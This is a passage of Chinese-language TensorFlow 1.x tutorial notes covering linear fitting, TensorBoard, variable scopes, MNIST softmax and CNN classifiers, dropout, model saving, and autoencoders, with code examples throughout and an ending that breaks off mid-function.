取消Settings### Tools### Python Scientific### Show plots in toolwindow勾选项


第三节:神经网络训练Weights&biases¶
目的:给出一个函数y=0.1x+0.3,y=x*Weights+biases,然后利用tensorflow把Weights变成0.1,biases变成0.3
0.导包¶
import tensorflow as tf
import numpy as np
import os
os.environ['TF_CPP_MIN_LOG_LEVEL'] = '2' # 设置TensorFlow输出模式,忽略警告
1.创建数据¶
x_data=np.random.rand(100).astype(np.float32)
y_data=x_data*0.1+0.3
2.创建tensorflow结构¶
# 定义一个初始值为-1到1的随机数,不断提升接近0.1
Weights=tf.Variable(tf.random_uniform([1],-1.0,1.0))
# 定义一个初始值从0开始,不断提升接近0.3
biases=tf.Variable(tf.zeros([1]))
y=Weights*x_data+biases
# 计算预测y与真实y的误差
loss=tf.reduce_mean(tf.square(y-y_data))
# 传播误差
# 建立优化器 反向传递误差的工作就教给optimizer了, 使用的误差传递方法是梯度下降法: Gradient Descent
optimizer=tf.train.GradientDescentOptimizer(0.5) # 0.5表示学习效率,小于1的数
# 利用优化器减少误差,提升参数准确度 (使用 optimizer 来进行参数的更新).
train=optimizer.minimize(loss)
init =tf.global_variables_initializer()
3.结构激活¶
sess=tf.Session()
sess.run(init) # Session就像指针一样,指向哪就被激活

第四节:Tensorboard可视化(一)¶
1.搭建图纸¶
input层开始¶
# 将xs和ys包含进来,形成一个大的图层,图层名字叫做inputs
with tf.name_scope('inputs'):
# 为xs指定名称x_input
xs = tf.placeholder(tf.float32, [None, 1],name='x_input')
# 为ys指定名称y_input
ys = tf.placeholder(tf.float32, [None, 1],name='y_input')

layer层¶
# 定义添加神经层的函数
def add_layer(inputs,in_size,out_size,activation_function=None):
# 定义大框架名字为layer
with tf.name_scope('layes'):
# 框架里面的小部件Weights定义,同时也可以在weights中指定名称W(将会在Weights展开后显示)
with tf.name_scope('weights'):
Weights=tf.Variable(tf.random_uniform([in_size,out_size]),name='W')
# 框架里面的小部件biases定义
with tf.name_scope('biases'):
biases=tf.Variable(tf.zeros([1,out_size])+0.1)
# 框架里面的小部件Wx_plus_b定义
with tf.name_scope('Wx_plus_b'):
Wx_plus_b=tf.matmul(inputs,Weights)+biases
'''
activation_function 的话,可以暂时忽略。因为当选择
用 tensorflow 中的激励函数(activation function)的时候,
tensorflow会默认添加名称,这个可以在图形呈现后对比两个layer层进行查看
'''
if activation_function is None:
outputs=Wx_plus_b
else:
outputs=activation_function(Wx_plus_b)
return outputs
定义两层¶
# 定义隐藏层
l1=add_layer(xs,1,10,activation_function=tf.nn.relu)
# 定义输出层
prediction=add_layer(l1,10,1,activation_function=None)

绘制loss¶
# 计算预测值prediction与真实值的误差,对两者差的平方求和再取平均
with tf.name_scope('loss'):
loss=tf.reduce_mean(tf.reduce_sum(tf.square(ys-prediction),
reduction_indices=[1]))

绘制train¶
# 机器学习提升准确率
with tf.name_scope('train'):
train_step=tf.train.GradientDescentOptimizer(0.1).minimize(loss) # 0.1表示学习效率

收集框架并存储至logs/目录¶
sess=tf.Session()
writer=tf.summary.FileWriter("logs/",sess.graph)
PyCharm Terminal直接进入项目根目录,运行tensorboard --logdir=logs
,复制相应的链接至谷歌浏览器你去即可!

第五节:Tensorboard可视化(二)¶
1.导包¶
import tensorflow as tf
import numpy as np
2.make up some data¶
x_data = np.linspace(-1, 1, 300, dtype=np.float32)[:, np.newaxis]
noise = np.random.normal(0, 0.05, x_data.shape).astype(np.float32)
y_data = np.square(x_data) - 0.5 + noise
3.将xs和ys包含进来,形成一个大的图层,图层名字叫做inputs¶
with tf.name_scope('inputs'):
# 为xs指定名称x_input
xs = tf.placeholder(tf.float32, [None, 1],name='x_input')
# 为ys指定名称y_input
ys = tf.placeholder(tf.float32, [None, 1],name='y_input')
4.在 layer 中为 Weights, biases 设置变化图表¶
# add_layer多加一个n_layer参数(表示第几层)
def add_layer(inputs ,
in_size,
out_size,n_layer,
activation_function=None):
## add one more layer and return the output of this layer
layer_name='layer%s'%n_layer
with tf.name_scope(layer_name):
# 对weights进行绘制图标
with tf.name_scope('weights'):
Weights= tf.Variable(tf.random_normal([in_size, out_size]),name='W')
tf.summary.histogram(layer_name + '/weights', Weights)
# 对biases进行绘制图标
with tf.name_scope('biases'):
biases = tf.Variable(tf.zeros([1,out_size])+0.1, name='b')
tf.summary.histogram(layer_name + '/biases', biases)
with tf.name_scope('Wx_plus_b'):
Wx_plus_b = tf.add(tf.matmul(inputs,Weights), biases)
if activation_function is None:
outputs=Wx_plus_b
else:
outputs= activation_function(Wx_plus_b)
# 对outputs进行绘制图标
tf.summary.histogram(layer_name + '/outputs', outputs)
return outputs
5.修改隐藏层与输出层¶
# 由于我们对addlayer 添加了一个参数, 所以修改之前调用addlayer()函数的地方. 对此处进行修改:
# add hidden layer
l1= add_layer(xs, 1, 10, n_layer=1, activation_function=tf.nn.relu)
# add output layer
prediction= add_layer(l1, 10, 1, n_layer=2, activation_function=None)
6.设置loss的变化图¶
# loss是在tesnorBorad 的event下面的, 这是由于我们使用的是tf.scalar_summary() 方法.
with tf.name_scope('loss'):
loss = tf.reduce_mean(tf.reduce_sum(
tf.square(ys - prediction), reduction_indices=[1]))
tf.summary.scalar('loss', loss) # tensorflow ### = 0.12
7.给所有训练图合并¶
# 机器学习提升准确率
with tf.name_scope('train'):
train_step=tf.train.GradientDescentOptimizer(0.1).minimize(loss) # 0.1表示学习效率
# 初始化
sess= tf.Session()
merged = tf.summary.merge_all()
writer = tf.summary.FileWriter("logs/", sess.graph) #
sess.run(tf.global_variables_initializer())
8.训练数据¶
for i in range(1000):
sess.run(train_step, feed_dict={xs:x_data, ys:y_data})
if i%50 == 0:
rs = sess.run(merged,feed_dict={xs:x_data,ys:y_data})
writer.add_summary(rs, i)

9.问题¶
若在浏览器输入相应的链接,没有显示,试试关闭防火墙即可解决!
10.参考文章¶

第六节:Tensorflow之Scope命名¶
1.tf.name_scope()¶
两种途径生成变量 variable:
一种是 tf.get_variable()
另一种是 tf.Variable()
import tensorflow as tf
with tf.name_scope('a_name_scope') as scope:
initializer=tf.constant_initializer(value=1) # 也可以简写为tf.Constant()
var1=tf.get_variable(name='var1',shape=[1],dtype=tf.float32,initializer=initializer)
var2=tf.Variable(name='var2',initial_value=[2],dtype=tf.float32)
var21=tf.Variable(name='var2',initial_value=[2.1],dtype=tf.float32)
var22=tf.Variable(name='var2',initial_value=[2.2],dtype=tf.float32)
with tf.Session() as sess:
sess.run(tf.global_variables_initializer())
print(var1.name) # var1:0
print(sess.run(var1)) # [1.]
print(var2.name) # a_name_scope/var2:0
print(sess.run(var2)) # [2.]
print(var21.name) # a_name_scope/var2_1:0
print(sess.run(var21)) # [2.1]
print(var22.name) # a_name_scope/var2_2:0
print(sess.run(var22)) # [2.2]
2.tf.variable_scope()¶
重复利用变量
1.使用tf.variable_scope()
2.使用之前声明tf.variable_scope().reuse_variables()
3.采用tf.get_variable()
生成变量
tf.Variable() 每次都会产生新的变量(参照两个例子),
tf.get_variable() 如果遇到了同样名字的变量时,
它会单纯的提取这个同样名字的变量(避免产生新变量)(参考本例).
故要重复利用变量, 一定要在代码中强调 scope.reuse_variables(),
否则系统将会报错。
# 修改部分为:增加了一个var1_reuse变量,并打印输出
import tensorflow as tf
with tf.variable_scope('a_variable_scope') as scope:
initializer=tf.constant_initializer(value=1) # 也可以简写为tf.Constant()
var1=tf.get_variable(name='var1_1',shape=[1],dtype=tf.float32,initializer=initializer)
scope.reuse_variables()
var1_reuse=tf.get_variable(name='var1_1')
var2=tf.Variable(name='var2',initial_value=[2],dtype=tf.float32)
var21=tf.Variable(name='var2',initial_value=[2.1],dtype=tf.float32)
var22=tf.Variable(name='var2',initial_value=[2.2],dtype=tf.float32)
with tf.Session() as sess:
sess.run(tf.global_variables_initializer())
print(var1.name) # a_variable_scope/var1_1:0
print(sess.run(var1)) # [1.]
print(var1_reuse.name) # a_variable_scope/var1_1:0
print(sess.run(var1_reuse)) # [1.]
print(var2.name) # a_name_scope/var2:0
print(sess.run(var2)) # [2.]
print(var21.name) # a_name_scope/var2_1:0
print(sess.run(var21)) # [2.1]
print(var22.name) # a_name_scope/var2_2:0
print(sess.run(var22)) # [2.2]

第七节:TensorFlow之MNIST手写体识别任务(一)¶
1.MNIST数据集¶
from tensorflow.examples.tutorials.mnist import input_data
mnist=input_data.read_data_sets('MNIST_data',one_hot=True)
通过以上代码会自动下载和安装这个数据集,该数据集共分为三部分,训练数据集(mnist.train)、测试数据集和验证数据集。一般来说,训练数据集是用来训练模型,验证数据集可以检验所训练出来的模型的正确性和是否过拟合,测试集是不可见的(相当于一个黑盒),但我们最终的目的是使得所训练出来的模型在测试集上的效果(这里是准确性)达到最佳。
每一个MNIST数据单元有两部分组成:一张包含手写数字的图片和一个对应的标签。训练数据集和测试数据集都包含xs和ys,比如训练数据集的图片是 mnist.train.images ,训练数据集的标签是 mnist.train.labels。
在MNIST训练数据集中,mnist.train.images 是一个形状为 [60000, 784] 的张量,第一个维度数字用来索引图片,第二个维度数字用来索引每张图片中的像素点。在此张量里的每一个元素,都表示某张图片里的某个像素的强度值,值介于0和1之间。相对应的MNIST数据集的标签是介于0到9的数字,用来描述给定图片里表示的数字。这里用One-hot vector来表述label值,vector的长度为label值的数目,vector中有且只有一位为1,其他为0,标签0将表示成([1,0,0,0,0,0,0,0,0,0,0])。mnist.train.labels 是一个 [60000, 10] 的数字矩阵。
2.Softmax Regression模型¶
Softmax Regression大致分为两步:¶
Step 1: add up the evidence of our input being in certain classes;
Step 2: convert that evidence into probabilities.
对于softmax回归模型可以用下面的图解释,对于输入的xs加权求和,再分别加上一个偏置量,最后再输入到softmax函数中

我们可以得到

我们也可以用向量表示这个计算过程:用矩阵乘法和向量相加

3.定义添加神经层的函数¶
def add_layer(inputs,in_size,out_size,activation_function=None):
Weights=tf.Variable(tf.random_uniform([in_size,out_size]))
biases=tf.Variable(tf.zeros([1,out_size])+0.1)
Wx_plus_b=tf.matmul(inputs,Weights)+biases
if activation_function is None:
outputs=Wx_plus_b
else:
outputs=activation_function(Wx_plus_b)
return outputs
4.Softmax Regression的程序实现¶
import tensorflow as tf
# 输入任意数量的MINIST图像
'''
我们希望能够输入任意数量的MNIST图像,每一张图展平成784维的向量。
我们用2维的浮点数张量来表示这些图,这个张量的形状是[None,784 ]。
(这里的None表示此张量的第一个维度可以是任何长度的。)
'''
xs=tf.placeholder(tf.float32,[None,784])
prediction=add_layer(xs,784,10,activation_function=tf.nn.softmax)
5.模型的训练—交叉熵函数(分类算法:Cross entropy loss)¶

y 是我们预测的概率分布, y’ 是实际的分布(我们输入的one-hot vector)
'''
分类问题的目标变量是离散的,而回归是连续的数值。
分类问题,用 onehot + cross entropy
training 过程中,分类问题用 cross entropy,回归问题用 mean squared error。
training 之后,validation / testing 时,使用 classification error,更直观,而且是我们最关注的指标。
'''
ys=tf.placeholder(tf.float32,[None,10])
cross_entropy=tf.reduce_mean(-tf.reduce_sum(ys*tf.log(prediction),reduction_indices=[1]))
train_step=tf.train.GradientDescentOptimizer(0.5).minimize((cross_entropy))
6.Session初始化¶
sess=tf.Session()
sess.run(tf.global_variables_initializer())
7.模型训练¶
for i in range(1000):
batch_xs,batch_ys=mnist.train.next_batch(100)
sess.run(train_step,feed_dict={xs:batch_xs,ys:batch_ys})
8.模型的评价¶
怎样评价所训练出来的模型?显然,我们可以用图片预测类别的准确率
def compute_accuracy(v_xs,v_ys):
global prediction
y_pre=sess.run(prediction,feed_dict={xs:v_xs})
# 利用tf.argmax()函数来得到预测和实际的图片label值,再用一个tf.equal()函数来判断预测值和真实值是否一致
correct_prediction=tf.equal(tf.argmax(y_pre,1),tf.argmax(v_ys,1))
'''correct_prediction是一个布尔值的列表,例如 [True, False, True, True]。
可以使用tf.cast()函数将其转换为[1, 0, 1, 1],以方便准确率的计算
(以上的是准确率为0.75)。
'''
accuracy=tf.reduce_mean(tf.cast(correct_prediction,tf.float32))
result=sess.run(accuracy,feed_dict={xs:v_xs,ys:v_ys})
return result
我们来获取模型在测试集上的准确率
print(sess.run(accuracy, feed_dict={x: mnist.test.images, y_: mnist.test.labels}))
9.完整代码及运行结果¶
import tensorflow as tf
from tensorflow.examples.tutorials.mnist import input_data
'''
准备数据(MNIST库---手写数字库,数据中包含55000张训练图片,
每张图片的分辨率是28*28,所以我们训练网络输入应该是28*28=784个像素数据)
'''
mnist=input_data.read_data_sets('MNIST_data',one_hot=True)
# 搭建网络
xs=tf.placeholder(tf.float32,[None,784])
ys=tf.placeholder(tf.float32,[None,10])
# 定义添加神经层的函数
def add_layer(inputs,in_size,out_size,activation_function=None):
Weights=tf.Variable(tf.random_uniform([in_size,out_size]))
biases=tf.Variable(tf.zeros([1,out_size])+0.1)
Wx_plus_b=tf.matmul(inputs,Weights)+biases
if activation_function is None:
outputs=Wx_plus_b
else:
outputs=activation_function(Wx_plus_b)
return outputs
def compute_accuracy(v_xs,v_ys):
global prediction
y_pre=sess.run(prediction,feed_dict={xs:v_xs})
correct_prediction=tf.equal(tf.argmax(y_pre,1),tf.argmax(v_ys,1))
accuracy=tf.reduce_mean(tf.cast(correct_prediction,tf.float32))
result=sess.run(accuracy,feed_dict={xs:v_xs,ys:v_ys})
return result
prediction=add_layer(xs,784,10,activation_function=tf.nn.softmax)
# loss(分类算法:Cross entropy loss)
'''
分类问题的目标变量是离散的,而回归是连续的数值。
分类问题,用 onehot + cross entropy
training 过程中,分类问题用 cross entropy,回归问题用 mean squared error。
training 之后,validation / testing 时,使用 classification error,更直观,而且是我们最关注的指标。
'''
cross_entropy=tf.reduce_mean(-tf.reduce_sum(ys*tf.log(prediction),reduction_indices=[1]))
train_step=tf.train.GradientDescentOptimizer(0.5).minimize((cross_entropy))
sess=tf.Session()
sess.run(tf.global_variables_initializer())
for i in range(1000):
batch_xs,batch_ys=mnist.train.next_batch(100)
sess.run(train_step,feed_dict={xs:batch_xs,ys:batch_ys})
if i%50==0:
print(compute_accuracy(
mnist.test.images,mnist.test.labels),end="->")


第八节:TensorFlow之Overfitting¶
1.回归分类的过拟合¶
如下图-比如:我们希望机器学习模型出来是一条直线,此时的蓝线与数据的总误差可能是10,但机器为了过去纠结降低误差,就会几乎经过了每一个数据点,此时成为曲线,误差为1,可这并不是我们想要的,即机器学习的自负就体现出来了。

2.解决办法¶

方法一:增加数据量,大部分过拟合产生的原因是因为数据量太少了,如果有成千上万的数据,红线也会慢慢被拉直,变得没那么扭曲。

方法二:运用正规化/l1,l1 regularization等(l3,l4…分别将后面的变为3次方,4次方…..)

方法三:专门用在神经网络的正规化的方法,叫做dropout.我们随机忽略掉一些神经元和神经联结 , 是这个神经网络变得“不完整”. 用一个不完整的神经网络训练一次,到第二次再随机忽略另一些, 变成另一个不完整的神经网络. 有了这些随机 drop 掉的规则, 我们可以想象其实每次训练的时候, 我们都让每一次预测结果都不会依赖于其中某部分特定的神经元. 像l1, l2正规化一样, 过度依赖的 W , 也就是训练参数的数值会很大, l1, l2会惩罚这些大的 参数. Dropout 的做法是从根本上让神经网络没机会过度依赖.
3.Dropout 缓解过拟合¶
3.1导包¶
import tensorflow as tf
from sklearn.datasets import load_digits
'''
如果使用cross_validation,则报错 DeprecationWarning:
This module was deprecated in version 0.18 in favor of
the model_selection module into which all the refactored classes
and functions are moved. Also note that the interface of the new CV
iterators are different from that of this module. This module will be
removed in 0.20."This module will be removed in 0.20.", DeprecationWarning
'''
from sklearn.model_selection import train_test_split
from sklearn.preprocessing import LabelBinarizer
3.2建立 dropout 层¶
准备数据¶
# load data
digits=load_digits()
# 从0-9的图片data
X=digits.data
# 1表示为[0,1.....0]这种Binary形式
y=digits.target
y=LabelBinarizer().fit_transform(y)
X_train,X_test,y_train,y_test=train_test_split(X,y,test_size=.3)
定义placeholder¶
# 这里的keep_prob是保留概率,即我们要保留的结果所占比例,它作为一个placeholder,在run时传入, 当keep_prob=1的时候,相当于100%保留,也就是dropout没有起作用。
keep_prob=tf.placeholder(tf.float32)
xs = tf.placeholder(tf.float32, [None, 64]) # 8*8
ys = tf.placeholder(tf.float32, [None, 10]) # 0-9
定义add_layer方法,并在里面添加dropout功能¶
# 在add_layer方法里面添加dropout功能
# 定义添加神经层的函数
def add_layer(inputs ,
in_size,
out_size,n_layer,
activation_function=None):
## add one more layer and return the output of this layer
layer_name='layer%s'%n_layer
with tf.name_scope(layer_name):
Weights = tf.Variable(tf.random_normal([in_size, out_size]), name='W')
biases = tf.Variable(tf.zeros([1, out_size]) + 0.1, name='b')
Wx_plus_b = tf.add(tf.matmul(inputs, Weights), biases)
# dropout功能
Wx_plus_b=tf.nn.dropout(Wx_plus_b,keep_prob)
if activation_function is None:
outputs = Wx_plus_b
else:
outputs = activation_function(Wx_plus_b)
# tf.histogram_summary(layer_name+'/outputs',outputs)
tf.summary.histogram(layer_name + '/outputs', outputs)
return outputs
添加隐藏层与输出层¶
# add output layer
l1 = add_layer(xs, 64, 50, 'l1', activation_function=tf.nn.tanh)
prediction = add_layer(l1, 50, 10, 'l2', activation_function=tf.nn.softmax)
loss函数(即最优化目标函数)选用交叉熵函数。¶
# 交叉熵用来衡量预测值和真实值的相似程度,如果完全相同,交叉熵就等于零。
cross_entropy=tf.reduce_mean(-tf.reduce_sum(ys*tf.log(prediction),reduction_indices=[1]))
tf.summary.scalar('loss',cross_entropy)
train方法(最优化算法)采用梯度下降法。¶
train_step=tf.train.GradientDescentOptimizer(0.6).minimize((cross_entropy))
保存¶
'''
tf.summary.FileWriter() 将上面‘绘画’出的图保存到一个目录中,以方便后期在浏览器中可以浏览。 这个方法中的第二个参数需要使用sess.graph . 因此我们需要把这句话放在获取session的后面。 这里的graph是将前面定义的框架信息收集起来,然后放在logs/tain与logs/test目录下面。
'''
sess=tf.Session()
# 合并所有的summary
merged=tf.summary.merge_all()
Creates a FileWriter
and an event file,This event file will contain
Event
protocol buffers constructed when you call one of the
following functions: add_summary()
,
add_session_log()
,add_event()
, or add_graph()
.
train_writer=tf.summary.FileWriter("logs/train",sess.graph)
test_write=tf.summary.FileWriter("logs/test",sess.graph)
初始化¶
sess.run(tf.global_variables_initializer())
3.3训练¶
for i in range(500):
# 如果想drop掉40%,那么keep_prob就得为0.6,表示保持60%的概率不被drop掉的。
sess.run(train_step,feed_dict={xs:X_train,ys:y_train,keep_prob:1})
if i%50==0:
# record loss,不drop掉任何东西,即keep_prob为1
train_result=sess.run(merged,feed_dict={xs:X_train,ys:y_train,keep_prob:1})
test_result=sess.run(merged,feed_dict={xs:X_test,ys:y_test,keep_prob:1})
train_writer.add_summary(train_result,i)
test_write.add_summary(test_result,i)
橙线是 test 的误差, 蓝线是 train 的误差.
训练中keep_prob=1时,就可以暴露出overfitting问题。
keep_prob=0.5时,dropout就发挥了作用。
我们可以两种参数分别运行程序,对比一下结果。
keep_prob=0.4时,dropout就发挥了作用。
我们可以两种参数分别运行程序,对比一下结果。
keep_prob=0.3时,dropout就发挥了作用。
我们可以两种参数分别运行程序,对比一下结果。
当keep_prob为0.2及以下时,也就是dropout70%后,会报错!合适的dropout保持在50%左右最好。

第九节:TensorFlow之Saver保存读取¶
0.写在前面¶
我们在搭建号一个神经网络,训练好后,肯定想保存起来,用于再次加载。本文通过Tensorflow中的saver保存和加载变量
1.保存¶
import tensorflow as tf
# Save to file
# remember to define the same dtype shape when restore
W=tf.Variable([[1,2,3],[3,4,5]],dtype=tf.float32,name='weights')
b=tf.Variable([[1,2,3]],dtype=tf.float32,name='biases')
init=tf.global_variables_initializer()
saver=tf.train.Saver()
with tf.Session() as sess:
sess.run(init)
save_path=saver.save(sess,"my_net/save_net.ckpt")
print("Save to path:",save_path)

2.读取¶
import numpy as np
# restore variable
# redefine the same shape and same type for your variables
W=tf.Variable(np.arange(6).reshape(2,3),dtype=tf.float32,name='weights')
b=tf.Variable(np.arange(3).reshape(1,3),dtype=tf.float32,name='biases')
# not need init step
saver=tf.train.Saver()
with tf.Session() as sess:
saver.restore(sess,"my_net/save_net.ckpt")
print("weights:",sess.run(W))
print("biases:",sess.run(b))

3.参考文章¶
第十节:TensorFlow之MNIST手写体识别任务(二)¶
0.写在前面¶
1.上节文章:TensorFlow之MNIST手写体识别任务(一)
2.上节文章使用了简单的softmax做数字识别,准确率为92%,本节任务—通过卷积神经网络(Convolutional Neural Network,CNN)来进行手写数字的识别。
3.CNN模型

convolutional layer1 + max pooling;
convolutional layer2 + max pooling;
fully connected layer1 + dropout;
fully connected layer2 to prediction.
input layer => convolutional layer => pooling layer => convolutional layer => pooling layer => fully connected layer => fully connected layer
1.数据导入及图片处理¶
import tensorflow as tf
from tensorflow.examples.tutorials.mnist import input_data
# number 1 to 10 data
mnist = input_data.read_data_sets('MNIST_data', one_hot=True)
# define placeholder for inputs to network
xs = tf.placeholder(tf.float32, [None, 784]) # 28x28
ys = tf.placeholder(tf.float32, [None, 10])
# 解决过拟合的有效手段
keep_prob = tf.placeholder(tf.float32)
'''
把xs的形状变成[-1,28,28,1],
-1代表先不考虑输入的图片例子多少这个维度,
后面的1是channel的数量,因为我们输入的图片是黑白的,
因此channel是1,例如如果是RGB图像,那么channel就是3。
'''
x_image = tf.reshape(xs, [-1, 28, 28, 1])
# print(x_image.shape) # [n_samples, 28,28,1]
2.封装方法¶
def weight_variable(shape):
initial = tf.truncated_normal(shape, stddev=0.1)
return tf.Variable(initial)
def bias_variable(shape):
initial = tf.constant(0.1, shape=shape)
return tf.Variable(initial)
def conv2d(x, W):
# stride [1, x_movement, y_movement, 1]
# 前后2个都为1
# Must have strides[0] = strides[3] = 1
# 二维的,输入x,W,步长(4个长度的列表)
# WALID,SAME,2种
return tf.nn.conv2d(x, W, strides=[1, 1, 1, 1], padding='SAME')
def max_pool_2x2(x):
# stride [1, x_movement, y_movement, 1]
return tf.nn.max_pool(x, ksize=[1, 2, 2, 1], strides=[1, 2, 2, 1], padding='SAME')
3.建立卷积层+最大池化层¶
# 卷积层1
W_conv1 = weight_variable([5, 5, 1, 32]) # patch 5x5, in size 1, out size 32
b_conv1 = bias_variable([32]) # 隐藏1层
h_conv1 = tf.nn.relu(conv2d(x_image, W_conv1) + b_conv1) # output size 28x28x32
h_pool1 = max_pool_2x2(h_conv1) # output size 14x14x32
# 卷积层2
W_conv2 = weight_variable([5, 5, 32, 64]) # patch 5x5, in size 32, out size 64
b_conv2 = bias_variable([64])
# 隐藏2层
h_conv2 = tf.nn.relu(conv2d(h_pool1, W_conv2) + b_conv2) # output size 14x14x64
h_pool2 = max_pool_2x2(h_conv2) # output size 7x7x64
4.建立全连接层¶
# 全连接层1
W_fc1 = weight_variable([7 * 7 * 64, 1024])
b_fc1 = bias_variable([1024])
# [n_samples, 7, 7, 64] ->> [n_samples, 7*7*64]
h_pool2_flat = tf.reshape(h_pool2, [-1, 7 * 7 * 64])
h_fc1 = tf.nn.relu(tf.matmul(h_pool2_flat, W_fc1) + b_fc1)
h_fc1_drop = tf.nn.dropout(h_fc1, keep_prob)
# 全连接层2
W_fc2 = weight_variable([1024, 10])
b_fc2 = bias_variable([10])
prediction = tf.nn.softmax(tf.matmul(h_fc1_drop, W_fc2) + b_fc2)
5.预测¶
prediction = tf.nn.softmax(tf.matmul(h_fc1_drop, W_fc2) + b_fc2)
6.优化¶
# the error between prediction and real data
cross_entropy = tf.reduce_mean(-tf.reduce_sum(ys * tf.log(prediction),
reduction_indices=[1])) # loss
# 使用tf.train.AdamOptimizer()作为我们的优化器进行优化,使我们的cross_entropy最小
train_step = tf.train.AdamOptimizer(1e-4).minimize(cross_entropy)
sess = tf.Session()
7.初始化¶
# important step
sess.run(tf.global_variables_initializer())
8.训练¶
# 注,当训练为1000次时,同上一节相比可以看到testing accuracy提升到了最高1,如下图1
# 当训练20000次后,testing accuracy基本稳定到1,如下图2
for i in range(20000):
batch_xs, batch_ys = mnist.train.next_batch(20)
sess.run(train_step, feed_dict={xs: batch_xs, ys: batch_ys, keep_prob: 0.5})
if i % 100 == 0:
train_accuracy=compute_accuracy(batch_xs,batch_ys)
print('step %d, training accuracy %g' % (i, train_accuracy))
# 或者 train_step.run(feed_dict={xs: batch[0], ys: batch[1], keep_prob: 0.5})
# 解决Tensorflow Deep MNIST: Resource exhausted: OOM when allocating tensor with shape问题
testSet = mnist.test.next_batch(50)
test_accuracy=compute_accuracy(testSet[0], testSet[1])
print('step %d, testing accuracy %g' % (i, test_accuracy))
print('-----------------------')



第十一节:Tensorflow之自编码 Autoencoder (非监督学习)¶
1.可视化解压前后的数字图片¶
导包¶
import tensorflow as tf
from tensorflow.examples.tutorials.mnist import input_data
import matplotlib.pyplot as plt
import numpy as np
获得数据¶
mnist = input_data.read_data_sets('MNIST_data', one_hot=True)
定义相关的Parameter¶
# Parameter
learning_rate = 0.01
training_epochs = 5 # 五组训练
batch_size = 256
display_step = 1
examples_to_show = 10
# Network Parameters
n_input = 784 # MNIST data input (img shape: 28*28)
palceholder hold住数据¶
X = tf.placeholder("float", [None, n_input])
定义两层实现encode与decode¶
'''
encode:784-### 256; 256-### 128
decode: 128-### 256; 256-### 784
'''
n_hidden_1 = 256 # 1st layer num features
n_hidden_2 = 128 # 2nd layer num features
weights = {
'encoder_h1':tf.Variable(tf.random_normal([n_input,n_hidden_1])),
'encoder_h2': tf.Variable(tf.random_normal([n_hidden_1,n_hidden_2])),
'decoder_h1': tf.Variable(tf.random_normal([n_hidden_2,n_hidden_1])),
'decoder_h2': tf.Variable(tf.random_normal([n_hidden_1, n_input])),
}
biases = {
'encoder_b1': tf.Variable(tf.random_normal([n_hidden_1])),
'encoder_b2': tf.Variable(tf.random_normal([n_hidden_2])),
'decoder_b1': tf.Variable(tf.random_normal([n_hidden_1])),
'decoder_b2': tf.Variable(tf.random_normal([n_input])),
}
# Building the encoder and decoder
def encoder(x):
'''
上一层的信号(也就是wx+b算出的结果)要作为下一层的输入,
但是这个上一层的信号在输入到下一层之前需要一次激活
f = sigmoid(wx+b),因为并不是所有的上一层信号
都可以激活下一层,如果所有的上一层信号都可以激活下一层,
那么这一层相当于什么都没有做。
'''
layer_1=tf.nn.sigmoid(tf.add(tf.matmul(x,weights['encoder_h1']),biases['encoder_b1']))
layer_2=tf.nn.sigmoid(tf.add(tf.matmul(layer_1,weights['encoder_h2']),biases['encoder_b2']))
return layer_2
def decoder(x):
layer_1=tf.nn.sigmoid(tf.add(tf.matmul(x,weights['decoder_h1']),biases['decoder_b1']))
layer_2=tf.nn.sigmoid(tf.add(tf.matmul(layer_1,weights['decoder_h2']),biases['decoder_b2']))
return layer_2
利用方法构建模型¶
# Construct model
encoder_op = encoder(X) # 128 Features
decoder_op = decoder(encoder_op) # 784 Features
# Prediction通过decode得到y_pred
y_pred = decoder_op # After
# Targets (Labels) are the input data.
y_true = X # Before
对比原数据与decode后数据的差异,并选择相应的优化器进行优化¶
# Define loss and optimizer, minimize the squared error
cost = tf.reduce_mean(tf.pow(y_true - y_pred, 2))
optimizer = tf.train.AdamOptimizer(learning_rate).minimize(cost)
生成图¶
# Launch the graph
with tf.Session() as sess:
sess.run(tf.global_variables_initializer())
total_batch = int(mnist.train.num_examples/batch_size)
# Training cycle
for epoch in range(training_epochs):
# Loop over all batches
for i in range(total_batch):
batch_xs, batch_ys = mnist.train.next_batch(batch_size) # max(x) = 1, min(x) = 0
# Run optimization op (backprop) and cost op (to get loss value)
_, c = sess.run([optimizer, cost], feed_dict={X: batch_xs})
# Display logs per epoch step
if epoch % display_step == 0:
print("Epoch:", '%04d' % (epoch+1),
"cost=", "{:.9f}".format(c))
print("Optimization Finished!")
# # Applying encode and decode over test set
encode_decode = sess.run(
y_pred, feed_dict={X: mnist.test.images[:examples_to_show]})
# Compare original images with their reconstructions
f, a = plt.subplots(2, 10, figsize=(10, 2))
for i in range(examples_to_show):
a[0][i].imshow(np.reshape(mnist.test.images[i], (28, 28)))
a[1][i].imshow(np.reshape(encode_decode[i], (28, 28)))
plt.show()
输出¶

2.可视化聚类图¶
注:改动代码为:
1.weights/biases以及encoder/decoder方法(主要是增加层)
2.将以上的数字图变为聚类散点图
完整代码¶
import tensorflow as tf
from tensorflow.examples.tutorials.mnist import input_data
import matplotlib.pyplot as plt
import numpy as np
mnist = input_data.read_data_sets('MNIST_data', one_hot=True)
# Parameter
learning_rate = 0.001
training_epochs = 20 # 五组训练
batch_size = 256
display_step = 1
# Network Parameters
n_input = 784 # MNIST data input (img shape: 28*28)
X = tf.placeholder("float", [None, n_input])
# hidden layer settings
n_hidden_1 = 128
n_hidden_2 = 64
n_hidden_3 = 10
n_hidden_4 = 2
weights = {
'encoder_h1':tf.Variable(tf.random_normal([n_input,n_hidden_1])),
'encoder_h2': tf.Variable(tf.random_normal([n_hidden_1,n_hidden_2])),
'encoder_h3': tf.Variable(tf.random_normal([n_hidden_2,n_hidden_3])),
'encoder_h4': tf.Variable(tf.random_normal([n_hidden_3,n_hidden_4])),
'decoder_h1': tf.Variable(tf.random_normal([n_hidden_4,n_hidden_3])),
'decoder_h2': tf.Variable(tf.random_normal([n_hidden_3,n_hidden_2])),
'decoder_h3': tf.Variable(tf.random_normal([n_hidden_2,n_hidden_1])),
'decoder_h4': tf.Variable(tf.random_normal([n_hidden_1, n_input])),
}
biases = {
'encoder_b1': tf.Variable(tf.random_normal([n_hidden_1])),
'encoder_b2': tf.Variable(tf.random_normal([n_hidden_2])),
'encoder_b3': tf.Variable(tf.random_normal([n_hidden_3])),
'encoder_b4': tf.Variable(tf.random_normal([n_hidden_4])),
'decoder_b1': tf.Variable(tf.random_normal([n_hidden_3])),
'decoder_b2': tf.Variable(tf.random_normal([n_hidden_2])),
'decoder_b3': tf.Variable(tf.random_normal([n_hidden_1])),
'decoder_b4': tf.Variable(tf.random_normal([n_input])),
}
# Building the encoder and decoder
def encoder(x):
